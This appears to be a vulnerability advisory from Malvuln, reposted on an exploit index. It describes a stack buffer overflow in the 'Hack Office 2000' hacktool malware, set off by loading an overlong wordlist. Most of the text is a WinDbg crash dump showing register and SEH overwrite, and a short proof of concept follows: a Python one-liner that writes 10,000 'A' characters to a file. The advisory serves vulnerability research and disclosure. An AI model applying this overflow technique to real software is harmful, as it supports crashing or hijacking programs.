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## https://sploitus.com/exploit?id=PACKETSTORM:164407
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/e60606d19a36789662ba97b4bb5c4ccf.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: HackTool.Win32.Agent.gi  
Vulnerability: Local Stack Buffer Overflow (SEH)  
Description: The Hack Office 2000 malware doesnt check bounds when loading textfiles for the wordlist to perform website URL cracking. Loading a specially crafted wordlist will trigger a stack buffer overflow overwriting the registers and structured exception handler (SEH).   
Type: PE32  
MD5: e60606d19a36789662ba97b4bb5c4ccf  
Vuln ID: MVID-2021-0359  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 10/04/2021  
  
Memory Dump:  
(f98.b28): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec  
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212  
ntdll!ZwQueryInformationProcess+0x26:  
77b5e916 c21400 ret 14h  
  
  
0:000> .ecxr  
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec  
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212  
ntdll!ZwQueryInformationProcess+0x26:  
77b5e916 c21400 ret 14h  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
FAULTING_IP:   
+597a550  
46623b9a ?? ???  
  
EXCEPTION_RECORD: 000a1e28 -- (.exr 0xa1e28)  
ExceptionAddress: 00000000  
ExceptionCode: 0001007f  
ExceptionFlags: 00000000  
NumberParameters: 0  
  
PROCESS_NAME: HackTool.Win32.Agent.gi.e60606d19a36789662ba97b4bb5c4ccf  
  
MODULE_NAME: unknown  
  
FAULTING_MODULE: 77af0000 ntdll  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000001  
  
EXCEPTION_PARAMETER2: 000a0ff8  
  
WRITE_ADDRESS: 000a0ff8   
  
FOLLOWUP_IP:   
+597a550  
46623b9a ?? ???  
  
FAILED_INSTRUCTION_ADDRESS:   
+26  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
CONTEXT: 0019f8e8 -- (.cxr 0x19f8e8)  
eax=41414141 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141  
eip=41414141 esp=41414141 ebp=41414141 iopl=0 nv up di pl zr na po cy  
cs=4141 ss=4143 ds=4141 es=4141 fs=4141 gs=4141 efl=41414141  
4141:41414141 ?? ???  
Resetting default scope  
  
ADDITIONAL_DEBUG_TEXT:   
Use '!findthebuild' command to search for the target build information.  
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols. ; Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]  
  
LAST_CONTROL_TRANSFER: from 00000000 to 41414141  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH  
  
PRIMARY_PROBLEM_CLASS: STACKIMMUNE_EXH  
  
DEFAULT_BUCKET_ID: STACKIMMUNE_EXH  
  
IP_ON_STACK:   
+26  
41414141 ?? ???  
  
IP_IN_FREE_BLOCK: 41414141  
  
UNALIGNED_STACK_POINTER: 41414141  
  
STACK_TEXT:   
00000000 00000000 unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf+0x0  
  
  
STACK_COMMAND: .cxr 000000000019F8E8 ; kb ; ** Pseudo Context ** ; kb  
  
SYMBOL_NAME: unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf  
  
FOLLOWUP_NAME: MachineOwner  
  
IMAGE_NAME: unknown  
  
FAILURE_BUCKET_ID: STACKIMMUNE_EXH_c0000005_unknown!Unloaded  
  
BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH_BAD_IP_unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf  
  
Followup: MachineOwner  
---------  
  
0:000> !exchain  
0019e8c0: HackTool_Win32_Agent_gi+37f72 (00437f72)  
0019f8e8: 41414141  
Invalid exception stack at 41414141  
  
Exploit/PoC:  
1) python -c "print('A'*10000)" > DOOM.txt  
2) Load DOOM.txt in the vulnerable malware as wordlist for URL cracking feature.  
  
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